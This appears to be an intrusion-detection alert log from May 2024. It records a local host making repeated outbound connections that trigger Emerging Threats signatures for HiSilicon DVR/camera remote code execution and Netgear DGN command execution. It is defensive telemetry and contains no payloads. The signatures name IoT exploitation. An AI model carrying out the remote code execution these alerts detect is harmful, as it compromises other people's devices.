05/16/24-16:39:16.609799	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56124	9530	192.168.2.23	43.118.233.25
05/16/24-16:39:16.609799	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56124	9530	192.168.2.23	43.118.233.25
05/16/24-16:38:55.193096	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57534	9530	192.168.2.23	20.79.244.211
05/16/24-16:39:14.517467	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51892	9530	192.168.2.23	9.113.107.14
05/16/24-16:38:55.193096	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57534	9530	192.168.2.23	20.79.244.211
05/16/24-16:39:12.400838	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42148	9530	192.168.2.23	150.116.15.70
05/16/24-16:39:12.400838	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42148	9530	192.168.2.23	150.116.15.70
05/16/24-16:38:53.084746	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39180	9530	192.168.2.23	223.224.206.60
05/16/24-16:39:08.125322	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56626	9530	192.168.2.23	70.163.108.153
05/16/24-16:38:53.084746	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39180	9530	192.168.2.23	223.224.206.60
05/16/24-16:38:57.448956	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39116	9530	192.168.2.23	121.252.138.239
05/16/24-16:38:57.448956	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39116	9530	192.168.2.23	121.252.138.239
05/16/24-16:39:08.125322	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56626	9530	192.168.2.23	70.163.108.153
05/16/24-16:38:55.198168	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44194	9530	192.168.2.23	182.227.10.159
05/16/24-16:39:03.280152	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35126	9530	192.168.2.23	8.151.163.8
05/16/24-16:39:03.280152	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35126	9530	192.168.2.23	8.151.163.8
05/16/24-16:39:16.581452	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41072	9530	192.168.2.23	95.14.174.191
05/16/24-16:38:55.198168	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44194	9530	192.168.2.23	182.227.10.159
05/16/24-16:39:16.581452	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41072	9530	192.168.2.23	95.14.174.191
05/16/24-16:39:09.595122	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	47236	80	192.168.2.23	76.160.156.195
05/16/24-16:38:53.071690	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55392	9530	192.168.2.23	97.129.166.48
05/16/24-16:38:53.071690	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55392	9530	192.168.2.23	97.129.166.48
05/16/24-16:38:59.556468	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48130	9530	192.168.2.23	113.187.226.19
05/16/24-16:38:57.441164	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46968	9530	192.168.2.23	112.147.7.127
05/16/24-16:38:59.556468	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48130	9530	192.168.2.23	113.187.226.19
05/16/24-16:38:57.441164	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46968	9530	192.168.2.23	112.147.7.127
05/16/24-16:38:57.306851	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50344	9530	192.168.2.23	89.113.10.229
05/16/24-16:38:57.306851	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50344	9530	192.168.2.23	89.113.10.229
05/16/24-16:38:55.177046	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59390	9530	192.168.2.23	200.219.102.131
05/16/24-16:38:55.177046	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59390	9530	192.168.2.23	200.219.102.131
05/16/24-16:38:55.176055	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40490	9530	192.168.2.23	190.124.219.220
05/16/24-16:38:55.176055	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40490	9530	192.168.2.23	190.124.219.220
05/16/24-16:39:05.712622	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45752	9530	192.168.2.23	77.131.149.110
05/16/24-16:39:05.676326	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49658	9530	192.168.2.23	83.11.157.165
05/16/24-16:39:05.676326	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49658	9530	192.168.2.23	83.11.157.165
05/16/24-16:39:05.712622	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45752	9530	192.168.2.23	77.131.149.110
05/16/24-16:38:53.011420	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42264	9530	192.168.2.23	191.40.212.132
05/16/24-16:38:53.011420	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42264	9530	192.168.2.23	191.40.212.132
05/16/24-16:38:55.229939	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58926	9530	192.168.2.23	184.29.50.168
05/16/24-16:38:53.064518	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42192	9530	192.168.2.23	81.62.140.176
05/16/24-16:38:55.229907	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48176	9530	192.168.2.23	114.74.33.135
05/16/24-16:38:53.064518	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42192	9530	192.168.2.23	81.62.140.176
05/16/24-16:38:55.229907	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48176	9530	192.168.2.23	114.74.33.135
05/16/24-16:38:55.229939	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58926	9530	192.168.2.23	184.29.50.168
05/16/24-16:39:02.725601	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53506	9530	192.168.2.23	153.126.41.28
05/16/24-16:39:02.725601	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53506	9530	192.168.2.23	153.126.41.28
05/16/24-16:39:05.707019	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45010	9530	192.168.2.23	170.73.218.204
05/16/24-16:39:05.707019	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45010	9530	192.168.2.23	170.73.218.204
05/16/24-16:39:16.578973	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42410	9530	192.168.2.23	60.232.242.145
05/16/24-16:39:16.578973	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42410	9530	192.168.2.23	60.232.242.145
05/16/24-16:39:16.609437	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56088	9530	192.168.2.23	160.99.1.185
05/16/24-16:39:16.609437	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56088	9530	192.168.2.23	160.99.1.185
05/16/24-16:39:12.295355	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53750	9530	192.168.2.23	143.142.25.168
05/16/24-16:39:12.295355	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53750	9530	192.168.2.23	143.142.25.168
05/16/24-16:39:08.041280	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46312	9530	192.168.2.23	23.230.14.100
05/16/24-16:39:08.041280	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46312	9530	192.168.2.23	23.230.14.100
05/16/24-16:39:16.600042	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52342	9530	192.168.2.23	202.235.238.143
05/16/24-16:38:49.282376	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	40108	80	192.168.2.23	178.43.10.146
05/16/24-16:39:16.600042	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52342	9530	192.168.2.23	202.235.238.143
05/16/24-16:39:12.384403	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40754	9530	192.168.2.23	68.173.19.12
05/16/24-16:38:57.411084	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33030	9530	192.168.2.23	169.101.183.76
05/16/24-16:39:12.384403	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40754	9530	192.168.2.23	68.173.19.12
05/16/24-16:38:57.411084	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33030	9530	192.168.2.23	169.101.183.76
05/16/24-16:39:05.713006	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58206	9530	192.168.2.23	135.172.237.65
05/16/24-16:39:05.713006	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58206	9530	192.168.2.23	135.172.237.65
05/16/24-16:38:53.084704	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59636	9530	192.168.2.23	208.135.211.193
05/16/24-16:38:53.084704	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59636	9530	192.168.2.23	208.135.211.193
05/16/24-16:38:59.520089	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58226	9530	192.168.2.23	106.90.80.118
05/16/24-16:38:59.520089	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58226	9530	192.168.2.23	106.90.80.118
05/16/24-16:38:57.429987	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41432	9530	192.168.2.23	167.82.133.169
05/16/24-16:38:57.429987	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41432	9530	192.168.2.23	167.82.133.169
05/16/24-16:39:02.767214	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41130	9530	192.168.2.23	54.116.122.44
05/16/24-16:39:08.145395	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39710	9530	192.168.2.23	174.205.97.138
05/16/24-16:39:02.767214	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41130	9530	192.168.2.23	54.116.122.44
05/16/24-16:39:08.145395	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39710	9530	192.168.2.23	174.205.97.138
05/16/24-16:38:57.438275	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45742	9530	192.168.2.23	175.121.101.198
05/16/24-16:39:03.281741	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56048	9530	192.168.2.23	80.168.10.95
05/16/24-16:38:57.438275	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45742	9530	192.168.2.23	175.121.101.198
05/16/24-16:39:03.281741	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56048	9530	192.168.2.23	80.168.10.95
05/16/24-16:39:08.124581	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48066	9530	192.168.2.23	101.208.180.41
05/16/24-16:39:08.124581	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48066	9530	192.168.2.23	101.208.180.41
05/16/24-16:39:05.506752	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	60530	80	192.168.2.23	8.172.120.59
05/16/24-16:39:02.726853	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34440	9530	192.168.2.23	83.196.250.149
05/16/24-16:39:03.260897	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54218	9530	192.168.2.23	83.46.41.174
05/16/24-16:39:02.726853	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34440	9530	192.168.2.23	83.196.250.149
05/16/24-16:38:53.064518	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40190	9530	192.168.2.23	133.253.244.57
05/16/24-16:38:49.305817	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	37628	80	192.168.2.23	181.188.20.229
05/16/24-16:38:53.064518	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40190	9530	192.168.2.23	133.253.244.57
05/16/24-16:39:03.260897	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54218	9530	192.168.2.23	83.46.41.174
05/16/24-16:38:59.560306	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56966	9530	192.168.2.23	118.158.36.213
05/16/24-16:38:59.560306	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56966	9530	192.168.2.23	118.158.36.213
05/16/24-16:39:14.493453	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39930	9530	192.168.2.23	110.14.90.210
05/16/24-16:39:14.493453	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39930	9530	192.168.2.23	110.14.90.210
05/16/24-16:38:53.094669	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54998	9530	192.168.2.23	77.176.220.182
05/16/24-16:38:53.064487	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55770	9530	192.168.2.23	27.7.174.3
05/16/24-16:38:53.064487	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55770	9530	192.168.2.23	27.7.174.3
05/16/24-16:38:53.094669	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54998	9530	192.168.2.23	77.176.220.182
05/16/24-16:38:59.557118	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43708	9530	192.168.2.23	169.91.70.95
05/16/24-16:39:02.765727	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50042	9530	192.168.2.23	171.74.42.203
05/16/24-16:39:14.510062	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38364	9530	192.168.2.23	54.199.51.10
05/16/24-16:38:59.557118	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43708	9530	192.168.2.23	169.91.70.95
05/16/24-16:39:14.510062	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38364	9530	192.168.2.23	54.199.51.10
05/16/24-16:39:02.765727	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50042	9530	192.168.2.23	171.74.42.203
05/16/24-16:38:50.080377	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52790	9530	192.168.2.23	52.66.16.192
05/16/24-16:38:50.080377	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52790	9530	192.168.2.23	52.66.16.192
05/16/24-16:38:53.098294	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39264	9530	192.168.2.23	106.198.76.169
05/16/24-16:38:53.011285	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54316	9530	192.168.2.23	5.74.252.139
05/16/24-16:38:53.098294	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39264	9530	192.168.2.23	106.198.76.169
05/16/24-16:38:53.011285	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54316	9530	192.168.2.23	5.74.252.139
05/16/24-16:39:08.149458	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34992	9530	192.168.2.23	101.91.11.3
05/16/24-16:39:16.613472	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46910	9530	192.168.2.23	205.193.250.208
05/16/24-16:39:16.613472	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46910	9530	192.168.2.23	205.193.250.208
05/16/24-16:39:08.149458	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34992	9530	192.168.2.23	101.91.11.3
05/16/24-16:38:55.193088	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40224	9530	192.168.2.23	27.53.43.20
05/16/24-16:39:16.579919	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56286	9530	192.168.2.23	149.51.254.226
05/16/24-16:38:55.193088	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40224	9530	192.168.2.23	27.53.43.20
05/16/24-16:39:16.579919	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56286	9530	192.168.2.23	149.51.254.226
05/16/24-16:39:14.514904	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48102	9530	192.168.2.23	221.8.56.219
05/16/24-16:39:14.514904	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48102	9530	192.168.2.23	221.8.56.219
05/16/24-16:38:53.011565	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36656	9530	192.168.2.23	102.30.213.106
05/16/24-16:38:53.011565	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36656	9530	192.168.2.23	102.30.213.106
05/16/24-16:39:02.727995	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54626	9530	192.168.2.23	173.71.159.11
05/16/24-16:39:02.727995	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54626	9530	192.168.2.23	173.71.159.11
05/16/24-16:39:08.124570	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40170	9530	192.168.2.23	131.228.12.149
05/16/24-16:39:08.124570	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40170	9530	192.168.2.23	131.228.12.149
05/16/24-16:38:57.451882	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42972	9530	192.168.2.23	14.153.198.210
05/16/24-16:38:57.451882	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42972	9530	192.168.2.23	14.153.198.210
05/16/24-16:39:03.262279	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56734	9530	192.168.2.23	62.246.197.98
05/16/24-16:39:03.262279	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56734	9530	192.168.2.23	62.246.197.98
05/16/24-16:39:09.587543	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	47444	80	192.168.2.23	25.93.72.242
05/16/24-16:38:57.439252	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37604	9530	192.168.2.23	67.192.93.169
05/16/24-16:38:57.439252	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37604	9530	192.168.2.23	67.192.93.169
05/16/24-16:39:12.378435	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39684	9530	192.168.2.23	90.142.188.184
05/16/24-16:39:12.378435	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39684	9530	192.168.2.23	90.142.188.184
05/16/24-16:39:03.280149	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43972	9530	192.168.2.23	134.172.78.56
05/16/24-16:39:03.280149	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43972	9530	192.168.2.23	134.172.78.56
05/16/24-16:39:14.507430	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52842	9530	192.168.2.23	200.156.126.64
05/16/24-16:39:14.507430	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52842	9530	192.168.2.23	200.156.126.64
05/16/24-16:39:12.301097	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56476	9530	192.168.2.23	92.208.34.22
05/16/24-16:39:12.301097	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56476	9530	192.168.2.23	92.208.34.22
05/16/24-16:39:05.715286	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47922	9530	192.168.2.23	179.33.222.154
05/16/24-16:38:57.304814	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57300	9530	192.168.2.23	155.239.87.160
05/16/24-16:39:05.715286	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47922	9530	192.168.2.23	179.33.222.154
05/16/24-16:38:57.304814	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57300	9530	192.168.2.23	155.239.87.160
05/16/24-16:38:55.193115	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57722	9530	192.168.2.23	80.171.247.43
05/16/24-16:38:55.192741	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32880	9530	192.168.2.23	223.76.85.219
05/16/24-16:38:59.556468	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47914	9530	192.168.2.23	181.248.160.162
05/16/24-16:38:59.556468	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47914	9530	192.168.2.23	181.248.160.162
05/16/24-16:38:59.588218	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42898	9530	192.168.2.23	62.20.17.34
05/16/24-16:38:53.093327	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52334	9530	192.168.2.23	145.131.192.3
05/16/24-16:38:59.588218	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42898	9530	192.168.2.23	62.20.17.34
05/16/24-16:39:05.713661	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55282	9530	192.168.2.23	86.68.252.31
05/16/24-16:38:53.093327	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52334	9530	192.168.2.23	145.131.192.3
05/16/24-16:38:55.192741	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32880	9530	192.168.2.23	223.76.85.219
05/16/24-16:39:05.713661	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55282	9530	192.168.2.23	86.68.252.31
05/16/24-16:39:14.517525	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47306	9530	192.168.2.23	74.67.177.139
05/16/24-16:39:14.517525	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47306	9530	192.168.2.23	74.67.177.139
05/16/24-16:39:12.384497	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36656	9530	192.168.2.23	163.96.113.180
05/16/24-16:39:12.384497	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36656	9530	192.168.2.23	163.96.113.180
05/16/24-16:39:12.304063	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60864	9530	192.168.2.23	199.170.146.88
05/16/24-16:39:03.281178	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37040	9530	192.168.2.23	146.122.159.193
05/16/24-16:39:03.281178	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37040	9530	192.168.2.23	146.122.159.193
05/16/24-16:39:14.527620	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46002	9530	192.168.2.23	163.41.29.8
05/16/24-16:39:12.304063	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60864	9530	192.168.2.23	199.170.146.88
05/16/24-16:39:14.527620	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46002	9530	192.168.2.23	163.41.29.8
05/16/24-16:39:16.579871	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60906	9530	192.168.2.23	111.215.251.186
05/16/24-16:39:16.579871	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60906	9530	192.168.2.23	111.215.251.186
05/16/24-16:39:12.380634	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53298	9530	192.168.2.23	110.42.151.8
05/16/24-16:38:49.306429	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	42358	80	192.168.2.23	118.235.32.54
05/16/24-16:39:12.380634	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53298	9530	192.168.2.23	110.42.151.8
05/16/24-16:38:57.431245	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41118	9530	192.168.2.23	136.147.159.197
05/16/24-16:38:57.431245	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41118	9530	192.168.2.23	136.147.159.197
05/16/24-16:39:12.304123	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34576	9530	192.168.2.23	82.230.148.0
05/16/24-16:39:12.304123	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34576	9530	192.168.2.23	82.230.148.0
05/16/24-16:39:02.727951	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46804	9530	192.168.2.23	106.20.90.230
